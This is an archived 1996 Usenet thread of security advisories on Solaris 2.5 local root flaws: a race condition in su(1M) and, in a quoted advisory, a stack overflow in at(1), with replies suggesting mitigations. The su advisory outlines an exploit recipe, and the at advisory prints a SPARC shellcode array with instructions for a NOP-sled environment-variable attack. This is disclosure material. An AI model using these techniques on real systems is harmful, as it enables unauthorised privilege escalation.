r00t advisory -- sol2.5 su(1M) vunerability

r00t advisory -- sol2.5 su(1M) vunerability

Post by Gregory Hu » Tue, 27 Aug 1996 04:00:00



r00t advisory                                           [ sol 2.5 su(1M) ]
                                                        [ Aug 25 1996    ]

-- Synposis
There exists a vunerability in the su(1M) program that will allow any user
to execute arbitray commands as r00t.  To expliot this vunerability the
malicious hacker must have already obtained sgid sys (not too hard to do!).
If sulog doesn't yet exist, su will create it and then chown() it rather than
fchown() it resulting in an easily exploitable race condition.

-- Exploitability
r00t has tested this vunerability and successfully run the id(1) program as
euid r00t from a non root account.  A simple C program that unlinks the sulog
and copies your favorite bin and chmod 4755's it works quite effectively.
We have been able to win the race on normally the 4th or 5th try.

-- Fixes ?
Our suggestion is to move back to a secure 4.2BSD based operating system -- or
perhaps just undefine sulog in /etc/default/su or spend a few minutes writing
your own version of su.

r00t -- we're all idiots.

 
 
 

r00t advisory -- sol2.5 su(1M) vunerability

Post by Gary Mil » Tue, 27 Aug 1996 04:00:00



Quote:>There exists a vunerability in the su(1M) program that will allow any user
>to execute arbitray commands as r00t.  To expliot this vunerability the
>malicious hacker must have already obtained sgid sys (not too hard to do!).

More specifically, it requires write access to /var/adm.  Removing
group write permission is another interim solution.

--
-Gary Mills-    -Unix Support-    -U of M Academic Computing and Networking-

 
 
 

r00t advisory -- sol2.5 su(1M) vunerability

Post by Peter C. Tribb » Wed, 28 Aug 1996 04:00:00




Quote:

> r00t advisory                                              [ sol 2.5 su(1M) ]
>                                                    [ Aug 25 1996    ]
...
> To expliot this vunerability the
> malicious hacker must have already obtained sgid sys (not too hard to do!).

Hm. With the default system permissions under solaris

% /bin/ls -ld /usr /etc
drwxrwxr-x  24 root     sys         3584 Aug 27 10:01 /etc
drwxrwxr-x  33 root     sys         1024 Mar 19 14:16 /usr

so if they've got gid sys they don't need to mess with su.

-Peter Tribble

 
 
 

1. r00t advisory -- sol2.5 at(1) vunerability

r00t advisory                                           [ sol 2.5 at(1) ]
                                                        [ Aug 24 1996   ]

-- Synposis
There exists a vunerability in the at(1) program that will allow any user
to execute arbitray commands as r00t.  The at program will gladly overflow
it's stack with whatever data is passed to it on the command line.

-- Exploitability
r00t has tested this vunerability and successfully run the id(1) program as
euid r00t from a non root account.  By making an environment variable contain
native machine code and passing it as a paramater to the at(1) program you
may force at to execute your code as r00t.

Machine code such as the following makes a fine example:
   unsigned exec[INSTRUCTIONS]= {
            0x9fc0202c,
            0xc0247ff5,
            0xe227bff0,
            0xc027bff4,
            0x9207bff0,
            0x901d200a,
            0x901a200a,
            0x8210203b,
            0x91d02008,
            0x82102001,
            0x91d02008,
            0xa3c3e004
        };
    char *cmd="/bin/id";

For this exploit to work a malicous hacker would have to fill an environ
variable with garbage (well, nops or equiv), and the above machine code
followed immediately by the cmd string.

-- Fixes ?

In the spirit of past advisories, our first suggestion is to downgrade to a
UNIX so old that it doesn't yet contain the at(1) feature.  If that is not
a viable option for you, then perhaps you should just chmod 755 /bin/at.

r00t -- moving at the speed of business.

2. Problems mounting CD-rom with Audio CD

3. r00t advisory -- hp jetadmin vulnerability

4. starting jakarta-tomcat 3.2.3 on boot

5. r00t advisory -- workman vulnerability

6. Compiling CURSES under HPUX 9.01

7. r00t advisories

8. Jud Herman.. I have a question.....

9. r00t advisory -- Sunny Day virus

10. IRIX mail(1)/rmail(1M)/sendmail(1M) Security Vulnerabilities

11. IRIX 6.4 ioconfig(1M) and disk_bandwidth(1M) Vulnerability

12. Problems with useradd(1M) and groupadd(1M) in Solaris 2.3

13. IRIX mail(1)/rmail(1M)/sendmail(1M) Security Vulnerabilities